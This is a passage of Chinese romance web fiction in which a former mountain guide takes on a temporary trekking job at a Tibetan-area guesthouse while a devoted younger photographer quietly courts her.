回到客栈招呼大家吃了早饭,华松栩按照徐汀云的消息指引找到了央金房间里的现金,顺利办完退房手续。一通忙碌后,已经是下午三点,客栈只剩下她和方木两个房客,这不大不小的院落霎时冷清下来。
方木一天都乖乖跟在华松栩旁边打下手,这会瘫在椅子上唏嘘,“突然好想唱一首歌。”
华松栩也累,双肘撑桌,双手抵着额头,“什
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么歌?”
“寂寞的季节。”方木忧伤。
“……”
“哟,都这么想我呢?”
华松栩一抬头,看到徐汀云大步流星穿过小院,衣袂纷飞勾勒出一道飒爽的弧线。
她眨眨眼,“不是说六七点到吗?”
“央金的女儿提前到,我就提前回来了。”徐汀云眉宇丝毫不见疲惫,笑着拍方木,“别寂寞了,有事和你商量。”
说话间,徐汀云背着方木,将一个袋子悄悄塞给华松栩。可能因为偷感传染,她也不自觉藏在桌子下悄悄打开。一看,是一袋果味糖,糖纸透光还五颜六色那种。
“你上次说一直到过年前都没什么事是吧?如果方便,考不考虑在客栈当一段时间临时老板?”
徐汀云问得挺直接,方木花了半天消化,终于搞明白了状况,“你是说我替老板娘管客栈?”
“嗯。当然,只是一个提议,你完全可以拒绝。”
方木挠头,“我、我倒是没什么,但我得问问我妈。晚点回话行吗?”
徐汀云说:“行啊,怎么都行。你别有负担。”
没一会,方木捏着手机溜到一边打电话去了,徐汀云抽过他方才坐的椅子,在华松栩对面坐定。
华松栩扬了扬手里的袋子乜他,“什么情况?又考古我发的帖子了?”
“没有。”徐汀云小声哼哼,“一直记着呢。”
华松栩眉心微动,从袋子里掏出了两颗,一颗给徐汀云,一颗剥掉糖纸塞进嘴里。甜丝丝的,和记忆力的味道分毫不差。
记不清是五年前、六年前还是更早,她在新疆爬一座5500米级的雪山,生理期非常不给面子的撞上了行程,恰好吹了风直接睡倒。歇了一天还是不行,丰哥拍板带她下撤,正走得半死不活时遇上了几个徒步的女生,给了她好一袋子果味糖。出山后,她第一时间在论坛分享了这个小故事,并表示这将是她这辈子吃过最甜的糖。
那时的甜是来自陌生人的善意,是女性之间的体贴。现在的甜,华松栩说不上来原因。可能是有一个人在完全不认识自己的时候就把她的一切都放在心上,也可能……单纯因为是他,是这个人。
徐汀云举起糖纸,透过那绚丽的色彩看华松栩,“果然很甜。”
华松栩倾身从他手里夺过,和自己的放在一起,“和我有事情要讲吧?”
徐汀云重重点头,“我就问你两个问题,你只说你想不想,可以吗?”
“那得先看是什么问题。”华松栩也正色。
徐汀云较真,“你先答应我,不要考虑其他任何因素任何人,只考虑自己的想法。”
华松栩捏着两张糖纸,摩挲的沙沙声于指尖响起,垂眸考虑了少顷,点了头,“说吧。”
“你有高山向导资格,登协备案的,对吧?”
“对。”
徐汀云双手交叠,有些紧张地把指关节捏得咯嘣响,踟蹰了好一阵才谨慎地问:“那你有短暂兼职向导的想法吗?二十天,到腊月二十五结束。”
28. 新的开始
其实华松栩已有预感,只是没想到徐汀云会这么小心翼翼,毕竟他刚才和方木就说得很直接。
她放下糖纸,神色不变,“如果我拒绝,你打算怎么办?”
“明天送你去蓉城。”徐汀云说。
华松栩失笑,“晓之以理动之以情,才能说服别人。”
“道德绑架罢了,不需要。”徐汀云坚持。
说不动容是假的。华松栩撑着下巴,用眼神描摹徐汀云硬朗的轮廓,眉间微微跳跃开来。
徐汀云被她直勾勾盯着,有些招架不住,“咳!不着急,你考虑好再告诉我。”
“好。”华松栩垂眸,用指关节轻叩桌面,“现在整个客栈只有咱们三个人。所以徐老板,晚饭怎么吃?”
半小时后,华松栩趴在椅背上看徐大厨和面,旁边摆着满满一篓蔬菜,都是大厨从县上买回来的。
她情不自禁问:“你的脑袋里到底装了多少东西?”
徐汀云晃晃头,“挺轻的,不然你掂一掂?”
华松栩一本正经道:“卸下来我就掂。”
徐汀云也一本正经地回:“那等我回去洗洗干净再卸。跑了两天没洗澡,脏。”
华松栩失笑,“说真的,去医院,安排客栈的事情,买菜,买糖,还替老板找补位的向导。你怎么同时记得这么多事情?”
“很奇怪吗?”徐汀云迟疑,“就像你闭着眼都知道怎么打绳结放机械塞安快扣一样,自然而然。”
“单纯佩服。”
徐汀云用另一个盆扣住和面盆醒面,去水池边洗手,“没事,人不能十全十美。你要什么都擅长,我还怎么当小跟班?”
华松栩重复:“小跟班?”
“昂。”徐汀云回身,甩去手上的水珠,“只要有我在,你不需要勉强自己去做任何不想做的事情,通通替你解决。有没有点收了我这个跟班的想法?”
某种程度上确实如徐汀云所说,她不擅长的情形有他解围,她不想做的事情有他兜底,甚至请她帮忙都不肯多透露半点信息,生怕她因为心软而委屈了自己。华松栩说:“我收不了你这尊大佛。”
“别啊,我很乖的。”徐汀云狗狗眼。
华松栩扑哧一笑,手背向外挥了挥,“赶紧做饭,饿了。”
“好的。”小徐立刻行动。
第二次吃到徐汀云做的酸汤扯面的华松栩,比第一次稳重了些,把不稳重分给了对面那位。
方木吸溜了几大口后感慨万分,“你竟然还会做饭,还做得这么好吃,你还有什么是不会的?!”
徐大厨不自觉挺直腰杆,用余光瞄华松栩,“我爸说过,不会做饭的男人没人爱。我当然得从小抓起。”
华松栩才不听他贫,勾勾手,“醋。”
徐汀云将醋瓶递给她,“这么爱吃酸?”
“还行。”
华松栩倒了两勺后用筷子翻搅,一不小心翻出了圆滚滚的荷包蛋,还是俩。她探头冲徐汀云碗里瞅,又冲方木碗里瞅,都没有。
方木一抬头,眼睛都直了,义愤填膺道:“为什么我没有!”
徐汀云敲敲碗沿,“咳!就剩下俩鸡蛋,我陪你一起不吃。”
方木总觉得哪里不对,一时又说不上来。倒是华松栩用筷子戳了戳蛋黄,直截了当问:“贿赂我?”
“咳。”徐汀云吞咽了下,“算是吧,就是——”
华松栩轻描淡写地说:“不用贿赂,我答应了。”
徐汀云瞳孔放大,缓慢张大嘴巴,“啊?”
“我答应了。”
“我还没说什么事情!”徐汀云眨眼。
华松栩挑眉,“不是贿赂我当向导吗?”
“不是不是!”徐汀云连连摆手,“收回,方才说的不算数啊!这事你细细考虑后再说。我想说的是——”
“不用考虑,我答应了。”华松栩放下筷子,“不是因为你,是我欠老板的人情。所以你别有负担。”
山难之后,他们很快搜寻到了向导的遗体,但是罗丰一直没找到。过了三天,所有人都建议放弃,这么长时间绝无生还可能,只有华松栩还在坚持。
“谢谢,真的很感谢。”华松栩深深鞠躬,甚至因为体力透支向前踉跄了两步才稳住身形,“给大家添麻烦了,我同意搜寻到这里结束,但我不能放弃……剩下的路我自己走,谢谢大家……”
在一片死寂中,只有嘉措走上前来扶住她,拍了拍她的背,用藏语和其他人说了几句,然后对她说:“他们先回,我陪你再找找。我理解你,姑娘,我们再找三天,如果还是找不到,和我一起下山。”
在那个异常寒冷的冬日,嘉措陪她找了整整三天。这份人情,她这辈子都忘不了。
徐汀云似乎猜到了什么,神色微变,而后坚定地说:“如果你不想接向导的活就不要勉强自己,这人情我替你还。”
华松栩清晰地看到了他眼中的认真,一怔,旋即伸出食指点他脑门,“你替我还算怎么回事?不需要!”
徐汀云配合地后仰脑袋,“我认真的!”
“我知道,但不需要。”华松栩垂眸,抵住桌沿的指尖因为用力而泛着青白,“我回海城也没什么事,不如多待一阵帮帮忙。”
徐汀云神色淡了些,似乎还想说什么,被华松栩抬手制止,“现在说,贿赂我是因为什么事?”
徐汀云微微叹了口气,咽下未尽之言,转而将手机推至她面前。屏幕上是和贺灵的聊天记录。
【贺编:这张不行。】
【阿栩革命战友小徐同学:为什么?!】
【贺编:论质量可以当二封,但阿栩不会同意。虽然只是个背影,熟悉的人还是能认出来。】
【阿栩革命战友小徐同学:没想刊登,微信发就是让贺编审阅一下质量。谢谢贺编^_^】
【贺编:。】
华松栩上滑,点开照片,眉峰不自觉上扬。
是攀冰那日的照片。随着安全绳放松,她在缓缓下降的过程中重心后仰,双臂自然下垂,像浸泡在温暖的海水里一般舒展,像翱翔于湛蓝天空中一般松弛。
那一瞬间,她在想什么?华松栩放大照片,将其定格在冰
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壁不规则的顶端。经屏幕裁切后,水蓝底色上,那透白的冰沿一如云朵晕染的边界,给人一种浮在云端的错觉。
她当时似乎什么都没想,只是单纯的享受。那是全身血液归位的安全感,是她过去习以为常的生活,是她终身难以忘却的自由。
“不打算刊登,贿赂我什么?”华松栩移开目光,继续吃第二颗荷包蛋,金灿灿的蛋黄,熟得刚好。
徐汀云扣下屏幕,“贿赂你,再领一个号码牌。”
“嗯?”
“如果有一天你重操旧业,选我这张当专访首图。”
华松栩心跳错了一拍,“如果我不重操旧业呢?”
徐汀云说:“那就当你的退圈礼物。祝你无论做什么,无论在哪,都和这个瞬间一样闪闪发光。”
话音落,餐厅陷入寂静。方木捏着筷子静止,只有眼珠子来回摆,一会看徐汀云一会看华松栩,见俩人不动,他也不敢动。
刚吃掉一个蛋的华松栩噎住,好半天才缓过劲来,无奈地说:“能不能别在人吃饭的时候,说这么真挚的发言。很违和。”
徐汀云呲了呲牙,表情很是天真无害,“是你问的我就说了。答应不答应?”
华松栩不答,三两口吃完起身,拍拍他的肩膀,“把需要带的团队信息发我,明天开始咱俩去踩线路。”
说罢,她头也不回地出了餐厅,无视身后徐汀云的抗议,径直回房间去了。
徐汀云的用意华松栩看得很清楚,只是看不清楚自己的想法,所以无从回答。但是此刻的她没有了初来怀远村的彷徨,少了些无措,多了些坦然。
也许,这已经是一个很好的开始了。
方木目送华松栩的背影直至消失,这才吸溜掉两分钟前就用筷子夹起的面条,“你俩太不把我当外人了,真令人害怕。”
徐汀云警告:“在她面前什么都别说!别提!”
“知道知道。”方木点头,忽然一拍脑袋,眉毛挑得飞起来,“哎!今早我和栩姐说,世界上绝对没有不喜欢你的人,她说她赞成!赞成你懂!”
徐汀云一听,嘴角立刻起飞,牙花子都出来了,“真的?她真这么说?”
“骗你干什么,给我都吓了一跳呢!”
徐汀云乐了好一会后,笑容一僵,推开碗埋头,发自内心地叹气。
“这不是高兴事吗?怎么还忧郁起来了?”方木疑惑。
徐汀云蔫巴巴地说:“她说的喜欢是喜欢猫猫狗狗的喜欢,差十万八千里。”
别说,某人真的很迟钝,这点心思他从来没藏,但所有行为都被某人归结于贿赂。买的糖是,荷包蛋也是。
方木细细思索,又一点头,“我也觉得,她可能都没把你当男的。”
徐汀云:“……我真是谢谢你。”
“听我一句劝,光对她好没用。你得让她认识到你是个男人,而不是一个无性别的小粉丝。”
徐汀云想了想,似乎有点道理,于是凑近了些,“继续说。”
“四个字。”方木勾手,神秘一笑,“推拉,色/诱。”
29. 他在避嫌
华松栩坚定接下向导一职,和徐汀云狠狠徒了三天,走完三条单日往返的线路后,计划歇一天再去踩那条三天两夜的长线。
期间,徐汀云和嘉措的客人联络说明情况,甚至成功拿到了商业团队所属公司的许可。其中细节华松栩不太清楚,但对于他摆平所有困难的效率表示非常之钦佩。
这日上午,华松栩接到方木的求助电话。她跑去小卖部一看,简直无从下脚。
“怎么回事?”华松栩小心地跳过几箱可乐,又绕过堆积的巧克力盒,终于在几个大麻袋后看到了方木努力蠕动的身影。
方木擦擦汗,“徐哥今早去了趟县上,这都是给小卖部补货。”
华松栩讶异道:“今早?怎么没听他提起?”
“是吗?他前天就跟我说了呀?”方木也讶异,“可能怕你担心吧。”
华松栩眯眼,总觉得最近徐汀云有点不一样。很难概括具体的变化,笼统地讲,似乎变得不太黏她。很多事情不问他就不讲,和先前事无巨细的汇报判若两人。
她压下疑惑专注眼前棘手的情况,挽起袖子道:“怎么整,我和你一起。”
“货架上有标牌,对应摆满,剩下的挪仓库。”
“好。”华松栩伸手一指,“我摆左边,你继续右边。”
这活说起来容易,做起来其实很费人。像可乐这种外观明显的还好,有些纸箱子毫无标识,需要一一翻找。找到后搬运上货架,记下数量,再清点剩余的数量运送进仓库。两人忙了整整一个半小时,才完成三分之二。
华松栩坐在两个摞起来的牛奶箱子上,忽闪敞开的外套散热,“二十天,三四拨驴友,用得着这么多货吗?”
“不光驴友买,村里的人也来买。去一趟就多备点。”徐汀云推门而入,“方木怎么把你薅来了?”
方木敏锐察觉到他隐晦的质问,小声辩解:“你卸了货就跑没影了,我一人得弄到什么时候去……”
徐汀云无奈,“我那是去请临时厨师。”
方木能帮忙管管小卖部和入住,做饭还是需要专人负责。
这事华松栩也没听他说过。她面无表情,“我闲着也是闲着,来帮忙。”
徐汀云看她一眼,跑去角落翻出一小箱子塞给她,“其他我来,把这个放你车上。”
华松栩毫无防备接过,被重量压得胳膊坠了下,徐汀云正准备缩回的手拐了个弯,稳稳抄住底,“小心。”
“什么东西?”她蹙眉。
徐汀云这下不敢卸力,放在脚边又用钥匙拆开,笑道:“好东西。”
华松栩蹲下看,竟然是一箱罐装咖啡,她一直喝的牌子,“从哪找来的??”
“去进货,刚好剩下一箱。”徐汀云胳膊塔着膝盖,冲她努下巴,“这下不用去加油站的便利店碰运气了吧?”
华松栩一愣,旋即配合点头,“嗯,你的泡椒凤爪可以光荣退役了。”
徐汀云含笑,“得感谢泡椒凤爪。要不是小卖部缺货我替老板跑了一趟,怎们能恰好遇到你呢?”
“泡椒凤爪的缘分,听起来不怎么好听,不作数。”华松栩抱起箱子,神情倨傲,“谢谢小徐同学。”
徐汀云被她骄矜的模样逗笑,随意挥挥手,转身接手未完的工作。她盯着那背影,又觉得小徐一点都没变,还是那么贴心,之前的想法都是错觉。
经过最后三天紧锣密鼓的筹备,择木客栈新班子全员就位,硬件设施配备到位,喜迎第一波客人。
八点钟,华松栩准时出门,见徐汀云正立在楼梯口。老式楼梯有些陡,她在最后一节楼梯驻足,恰好和他视线平齐,狐疑道:“这是、迎接我?”
从仰视到平视,徐汀云一直笑吟吟。他伸出骨节分明的手,“我是今天的随队摄影师小徐,请向导多多指教。”
华松栩抿唇,依旧没藏住笑意。她抬手并未去握,反倒是击掌一般拍开,发出清脆的声响。
“请多指教。”
今天的客人是三男一女小团队,有高原徒步经验,走两条单日线路。方木指引他们停好车又办理完住宿,这才移交给等待许久的两位。
徐汀云风度翩翩,“大家好。我来介绍一下。这位是我们本次徒步的向导,姓华。我是本次随队摄影师徐汀云,叫我小徐就行。”
“你好。”
“向导好。”
“大家好。”华松栩颔首,神色淡淡,“我先说下石照垭口这条线路情况,17km,拔高900米,三分之一缓坡爬升,三分之一碎石路,最后三分之一积雪。垭口海拔4900m左右,风大气温低易高反,抵达后迅速拍照迅速下撤,不要过多停留。有问题吗?”
“没有。”大家异口同声。
华松栩翻看腕表,“现在是九点,给大家十五分钟休整时间,换衣服,收拾路餐,九点十五准时出发。”
徐汀云补充:“下身抓绒裤硬壳雪套冰爪,上身三明治穿衣法,雨衣一定要带。”
“明白。”为首的男生笑,“放心吧,我们都是一年徒三四条长线的选手。装备不用担心。”
“嗯,路餐有的话带上,缺什么可以去小卖部,基本需求能保障。”
女生立刻问:“可乐有吗?”
“有。”徐汀云冲方木招手,“带她去。”
“好嘞!”
在高原,可乐就是硬通货。高糖能够提高血氧,富含二氧化碳的口感能缓解疲惫,属于驴友进山必备品。四人跟着方木去补货,院子里只剩下他们两人。
“别有压力。”徐汀云凑过来小声说,“不想说话就不说,有我呢。”
华松栩乜他,“要不是你缺个高山向导证,这就没我什么事了吧?”
“那不能够。”徐汀云说,“有你在我比较安心,属于精神支柱。”
华松栩刚想反驳,方木带着四人出来,徐汀云一秒缩回去保持距离,一副并不是很熟的样子。她舌尖抵住后槽牙,没再开口。
九点一刻,准时出发。华松栩打头,徐汀云压队,一行人将村落和人造路面甩在身后,踏入原始的自然。雪过后的空气纯净至极,夹杂树木的芬芳,大家都兴
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致高昂,没半小时就熟络了起来。当然,得排除掉闷头带路那位。
她保持着均匀偏慢的配速,耳边是大家七嘴八舌的聊天。
“小徐你在这住了这么久,最推荐哪条线路?”女生叫曲遥,比徐汀云大一岁,这会走在队尾。
“都挺推荐,这边雪山接近性好,地貌也比较多样。”徐汀云嗓音温润,“不过遥姐走过这么多线,肯定比我有发言权。”
前面的男生叫余晖,笑着说:“太谦虚了小徐,看你朋友圈发的照片,老驴都难找到那样的景。”
徐汀云也笑:“纯属工作需要。”
余晖感慨:“那这工作也太美了,完全是曲遥的理想生活啊!”
曲遥道:“每年把年假拼拼凑凑,和节假日放一起,也最多四五条长线。要是有这样的工作,我天天泡山里。”
“等你天天泡山里,可能就腻了。”
曲遥问:“小徐,你觉得腻吗?”
徐汀云不假思索,“这辈子都不腻。”
“看看!”曲遥立刻有了底气,“小徐懂我!”
大家大笑。
紧跟华松栩的男生叫郭洋,试探问:“向导你呢?一直带这几条线吗?”
“这次是兼职而已。”华松栩脚下步子不停,“前面是第一个休息点,大家需要休息吗?”
“需要。”曲遥远远应道。
华松栩回头看,她和大部队的距离拉得更开了,徐汀云放慢速度陪她。看状态,是初到高原的适应阶段,于是扬声道,“休息五分钟。”
大家各自寻找裸露的岩石坐定,有的喝水有的补充能量,华松栩折回队尾,徐汀云先看到她过来,有些疏离地打招呼,“向导。”
她没应,从包里掏出备用葡萄糖递给曲遥,“你的唇色发紫,属于轻微高反。有不舒服的地方吗?”
曲遥连连道谢,有些无奈地说:“这次来不知道怎么了,感觉身体重得很,脚步迈不开。以前都没这样过。”
“身体状况不一样,来高原的反应也不一样,都正常。”华松栩叮嘱,“不要强撑,如果有不舒服立刻和我讲。”
“好,谢谢向导。”
徐汀云紧跟着说:“没事,我压队陪着就行。”
即使察觉徐汀云在和自己装不熟,华松栩依然被他的态度冷到,于是转身回了队伍最前面的位置。
她莫名觉得鼻子不是鼻子眼睛不是眼睛。认出她是阿栩前,徐汀云见到她就是活泼耍宝。认出之后多了些小心谨慎,但总体来说更黏她。但现在,显而易见,他在避嫌。
她掏出保温杯喝了些热水,想起方才余晖提起徐汀云朋友圈发的照片,于是趁还有一格信号去观赏。打开聊天界面,还停留在三天前讨论天气。
华松栩正要点右上三个点,指尖却是一顿。
不知道什么时候,徐汀云改了微信名,留下简单的四个字“小徐同学”,删掉了关于她的部分。
华松栩捏着手机,隔着二十米的距离望向徐汀云。后者正坐在曲遥旁边,笑容璀璨一如暖阳。
30. 雪上加霜
六人行进至午后一点,终于抵达最后一个绝望坡。
过了4600m的海拔全是岩石风化掉落的碎石路,又盖上雪,走起来较为困难。华松栩时不时驻足等一下大家。
她面向坡下而立,眼前是一纵高低形状各异的山峰,有冰舌从两山之间延伸,沟壑处呈现清澈至极的蓝。向下看,一步步踏雪走过的路径清晰可见,一直绵延至方才翻越的山脊。队员置身于此,色彩不一的冲锋衣是这幅雪景图的点睛之笔。
“加油,快到了。”华松栩气息平稳得像是吃完饭小区遛弯。
郭洋还保持着第二的位置,但脚下步伐明显沉重迟缓了许多,“向导、你这个体力、也太、牛了吧!”
华松栩听他喘气都累,点头道:“是比你强点。”
“……这是、身体和心理、的双重、暴击!”
郭洋终于追了上来,华松栩让他先歇会,顺便等一下后面的人。他找了块稍平坦的地儿坐下,掏食物补充体力,“你吃吗?”
一点多,华松栩有点饿,于是拿了个糖,“谢谢。”
两人一站一坐,边吃边观赏第二梯队的痛苦面具。第三名的男生叫苏振,长得白净灵动,可惜反重力做功令他双目呆滞,机械地走三步歇一步。之后是余晖,看状态还好,基本和苏振保持同步。再往后就是掉队的曲遥,和明显压速度陪同的徐汀云。
“别说,坐在这看真有意思。”郭洋缓过劲,喜滋滋地喊道:“加油伙伴们!胜利就在前方!”
不知谁有气无力地喊了一句,声音顺风而来,“闭、嘴!”
郭洋捧腹大笑。
华松栩也勾了勾唇。随着奶糖融化,浓郁的奶味充斥味蕾,身体的疲惫随之轻飘飘地消失。这种体力流失后又迅速充盈的感觉让人思维放空。大脑躲懒,五感会变得异常敏锐,比如留意一颗碰撞掉落的石子,或是望向天边升起的云。
等齐三个男队员后,华松栩带队向垭口冲刺。
“不再等等吗?我看曲遥也快到了。”郭洋问。
华松栩比了个手势催促,“不等了,时间长容易失温。有徐摄影师在,没事。”
在寒冷高海拔徒步,行进过程中不断积聚热量,很少觉得冷。但一停下休息,热量流失非常快,如果先前出了汗又未干,很容易着凉。
他们点头,七嘴八舌冲曲遥喊加油,然后继续前行。
最后一段200米左右,积雪厚度增加坡度变陡,所有人都顾不上说话,只专注于脚下的路。一时间,只有喘息声、冰爪踩进雪里的咯吱声和挪动登山杖的脆响。
这一段路况更复杂,体力消耗也更大,但没有人掉队,都跟着华松栩的速度走。因为前方是肉眼可见的终点,精神力神奇地弥补了体力的不足。
终于,他们踏上垭口狭窄的空地。头顶两侧的山体嶙峋凸起,之间形成一道空隙。向远方望去,山势形态不一样貌各异,仿佛置身于异星球。
在三人惊呼中,华松栩好心提醒,“往下看,传说中的双湖松措。”
回应她的是更响亮的惊呼。
他们立于云上百米,高山海子在若隐若现的云雾中绽放蓝色的光芒。
华松栩问:“还累吗?”
“不累!一点都不累!”
“我还是有点累的,但值了!”
华松栩退开几步,给队员留下空间。看他们兴致勃勃拍照的样子,她忽然想起那天来踩线,也是在这个地方,徐汀云掏出他那死贵的三脚架,非要和她合影。
“不拍。”华松栩嫌弃地后退。
“拍!”徐汀云强行将她拉至镜头前,“Smile!”
闪光灯亮起时,华松栩不自然地偏了下头,“行了吧?”
徐汀云弯腰侧首和她平视,笑容灿烂到有些狡黠,“拍一张怎么够,我直接录视频,能截很多张!”
华松栩狠狠给了他一个爆栗。
徐汀云揉揉脑门,又凑了过来,有些无赖地说:“不然你再打我几下,好让我多拍几张?”
华松栩已经抬起的手僵住,最终憋屈地收了回来,“不拍。”
徐汀云连连点头,“嗯嗯,不拍。不过录像我还没暂停——”
华松栩抡起登山杖就揍,徐汀云抱头鼠窜连连求饶。两人闹腾了许久,至今她都不知道录像什么时候停止,也不知道那视频长什么样。
华松栩情不自禁勾唇,默默念叨了一句幼稚。
“快了!坚持!”
“加油曲遥!”
呼声唤回她的思绪,曲遥坚持不懈终于到了两百米外的休息点。她弓腰抵住登山杖喘息,似乎说了些什么,徐汀云从她包侧拿出保温杯,打开递了过去。
华松栩收回视线,看了眼时间后起身,“不能待了,下撤。”
垭口风大,短短二十分钟,脸都被吹的有点僵。
和队末二人汇合时,华松栩上前检查曲遥的状态,确认只是疲惫而不是高反加剧后松了口气,“量力而行,给返程留体力。”
曲遥感激地笑了下,“谢谢,我这会好些了。”
华松栩转向徐汀云,叮嘱道:“上去不要久留。我压压速度,在翻过山脊的树林等你们。有任何问题对讲联系。”
“明白,向导。”徐汀云应,耐心地问曲遥,“现在还能走吗?”
曲遥有些不好意思,迅速背好包,“走吧。”
两支小队背向而行,渐行渐远。
下陡坡路段易滑,每一步都要踩实,可华松栩心里空落落的。这种状态一直持续到树林汇合下山,又持续到了晚饭结束。
曲遥体力轻微透支回去睡觉,男生们迅速混熟,热热闹闹,剩下华松栩有些格格不入,于是找了个借口也回了房间。
约莫九点左右,华松栩正准备入睡,却发现了一件雪上加霜的事情。
生理期到了。
她急匆匆跑去车上翻箱倒柜,找到最后两片卫生巾和两颗布洛芬。真的很要命,因为长年累月待在极寒的环境,她在第
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一天十有八九会出现严重痛经。
这意味着铁定得去趟县上。
华松栩将头砸进靠枕,长叹了口气。回过神来时,发现自己竟然已经打开了徐汀云的聊天界面,而小徐同学四个字再次刺了她的眼。
这一瞬间,她惊觉自己对徐汀云有些过度的依赖。比如不习惯他对自己公事公办的态度,比如遇事本能想联系他,比如很多藏在心底的秘密无知无觉中说与了他。
华松栩清晰地意识到,现在的时光是短暂的,他对自己体贴也好、粉丝的崇拜也好,随着时间推移都会消失。最终,她还是孤零零回到城市里,藏起来,被遗忘。
华松栩丢开手机,生吞了一颗布洛芬,向国道开去。
远光灯破开浓稠的夜色,世界是只有一辆车一个人的寂静,也是思绪万千的喧嚣,和进山那日似乎无半点区别。她握着方向盘,将这些天潜移默化的熟念连同对徐汀云的错觉一同远远甩在身后,碎裂的盔甲和防备于无形中复位。
到了安县,华松栩卡在关门时间找到家超市买了一提卫生巾,又去药店买了盒布洛芬,返回车上时几乎是栽进了驾驶座。小腹坠痛,下午吃的牦牛肉还未消化有点犯恶心,徒步加驾驶后筋疲力竭,让她连一根指头都不想动。
所以当屏幕上显示徐汀云的来电时,她磨蹭了好半天才接听。
“有事——”
“你开着车去哪了?”对面劈头盖脸地质问。
华松栩靠回去,清了清嗓子,“来县上买东西。”
徐汀云语速很急很快,“你买什么东西不能跟我讲,还非要大晚上去?”
“买卫生巾和布洛芬行吗?”华松栩这会有点烦,语气也很不耐烦。
那边沉默了几秒,紧接着是奔跑的脚步声和有些不稳的气息声,“微信发我定位,原地等我。”
“用不着——”话音未落,盲音已经响起。
华松栩本想打电话回去拒绝,可惜小腹疼痛程度逐级递增,几番犹豫后还是妥协了。发完定位,她丢掉手机放倒座椅歇息,于迷迷糊糊之间睡着,一直睡到敲玻璃的声音响起。
“阿栩!”
华松栩闭着眼,伸手盲摸解锁健按下,下一秒车门从外被拉开,夜风随之涌入封闭的车厢。
有人比风更快一步。
她还没来得及瑟缩,便被一件带有体温的高山羽绒轻轻包裹,像落入一片暖洋洋又蓬松的棉花,全身都舒展开来。
华松栩挣扎片刻,睁了一只眼。面前,徐汀云一手扶着车顶,一手落在她脸侧的椅背,弓腰垂眸望她。黑暗中,他的眼睛和初见时一般亮如晚星,轮廓深邃又柔和。
这样的姿势他们极近,华松栩能嗅到他身上凛冽寒冷的味道,也能感受到他有些错拍的气息。
“你怎么过来的?”她缓了缓后问。
闻言,徐汀云埋头狠狠摞了把后颈,再抬头时神情难掩焦急和担忧,“身体不舒服不找我,自己开这么远的夜车。你是不是想气死我?”
31. 生气河豚
睡意瞬间溜走。
华松栩调直椅背,推开他的胳膊起身,沙哑冷硬道:“我一直这样,习惯了。”
此刻车子停在安县的主路,两边的店铺关了门,但五颜六色的灯牌仍不知疲倦地发光,照亮了华松栩苍白脸庞和紧抿的唇。看起来倔强得不得了。
徐汀云发泄似的狠狠拍了两下车顶,但说出的话依然温柔,“喝一点,好不好?”
他从口袋里掏出一个保温杯,拧开后递给她。
“什么?”华松栩接过一看,是滚烫的红糖水,有些怔忪,语调也缓和了,“从哪弄来的?”
“问邻居家阿姐借的。”徐汀云说,“喝完去副驾躺着,我开车。”
“哦。”华松栩气弱,乖乖捧着喝,胃里和小腹很快暖了起来。但她不喜欢红糖的味道,喝了小半就放到了杯架上。
徐汀云见状向她伸手,“我扶你。”
华松栩瞥了眼没理,蹦下车,“有点不舒服而已,不至于。”
——结果刚落地,就头重脚轻地踉跄了一步。
她有些尴尬地裹紧羽绒服,错身就走,却被徐汀云揽住了肩。男人沉稳磁性的嗓音于耳侧响起,口吻不容置疑,“我扶你。”
以往徐汀云都是虚扶,很有分寸。但这会,她的手臂被他强势扣住,整个人都被拢入坚实的怀抱,半点挣脱不得,直到她坐定才松手。男女体格力量的差异在此刻体现得淋漓尽致。
这种差异是荷尔蒙的来源,也让华松栩惊觉,眼前的人是弟弟没错,但更是一个男人,成熟男人。
“贴暖宝宝了吗?”
“没有。”
徐汀云长叹了口气,从口袋里掏出一堆暖宝宝,一股脑塞进她怀里,“贴上,我等会上车。”
说罢合上车门,绕到车尾给她留足空间。
华松栩察觉到他有火气,却搞不明白火气的来源。于是在车子拐上国道后,冷不丁问:“你生什么气?”
徐汀云想看她又生生克制住了,“你说呢?”
华松栩莫名其妙,“你去县上进货也没跟我说啊?”
徐汀云忍无可忍,捏着方向盘的手青筋暴起,“我不跟你说是怕你担心,你不跟我说是怕我担心吗?是吗?”
华松栩完全没预料到这样的答案,哑火了好半天,才慢吞吞道:“在怀远村这些天,你关心我照顾我,我都知道。只是我一直这样生活,从前是,以后也是。”
徐汀云轻声问:“听你的意思,还没离开怀远村,就打算把我一脚踢开了?”
“你不可能永远当我的小跟班,或是革命战友。”华松栩手摁住小腹上的暖宝宝,让热量源贴得更紧些,“你的微信名不都改了吗?”
徐汀云眉心拧成一个川字,难以置信道:“你不想搭理我,难道是因为这个?”
“不是。”华松栩淡笑,“只是提醒了我,天下无不散的筵席。如果习惯别人的照顾,我以后怎么办?除了圈内几个好友,我没什么亲近的人。”
除了朋友,只有一个不像家的家。她不愿去想,换了个舒服的位置后说:“我睡一会,困了叫我。”
徐汀云只得咽下没说出口的话,“好。”
华松栩半阖着眼,在夜色掩映下放任目光长久地落在徐汀云身上。紧绷的下颌,锋利挺阔的侧颜,骨节分明的手。以及,他似乎还在生气,呼吸比平时重一些,像一只圆鼓鼓的河豚,又不肯冲她发火半分。
华松栩搞不懂他为什么对自己这么好,而且是一种不求回报的好。难道偶像的力量就这么强大?
她无法理解,但依然不妨碍时常被他的一句话或一个举动触动。对他,她是感激的,除此之外,心底似乎有什么在破土而出,很酸涩,又有点甜。
可惜,体力不支持她再想下去。在风噪和轻微颠簸中,在裹在带有徐汀云气息的羽绒服中,在暖宝宝持续不断的发热重,她再一次睡着了,这次睡得很安稳。
徐汀云确实是压着火气的,对她,也对自己。要不是下一个团的时间有变需要和华松栩交流,要不是敲门却无人应答后鬼使神差去看了眼她的车,他不敢想她晚上怎么回来。
一直到车停在先前的车位,徐汀云还在后怕。此刻,他太庆幸自己没听方木那个狗头军师的话。
那天,方木被拒绝后一脸恨铁不成钢,“光对人好没用,人家会麻木。有冷有热有对比,她才能意识到你的好。”
徐汀云想了想,“可是,我不需要她意识到。我对她好是因为我喜欢我想这么做,又不是为了以此作为筹码。”
“你到底想不想追到你女神?”
“想啊。”徐汀云无辜,“但不管追不追得到,我都想对她好。”
方木:“……打扰了,舔狗。”
徐汀云舍不得叫醒她,调好暖风后,就这样坐着看她恬静的睡颜,忽然觉得当舔狗也没什么不好,他乐意。
华松栩看似冷冰冰,其实对人与人之间的关系极其敏感,一点点风吹草动就会让她缩回那层硬壳之中,可明明她才是被追随、被仰视的对象。
华松栩醒来时,对上了一双微微泛红的眸子。她闭了闭眼,再睁开,终于确认这不是梦,于是试探着问:“你被气哭了吗?”
徐汀云嘴角抽搐,胸腔里心疼和担忧依然沉甸甸,但心情好了些,“昂,都哭一个多小时了。”
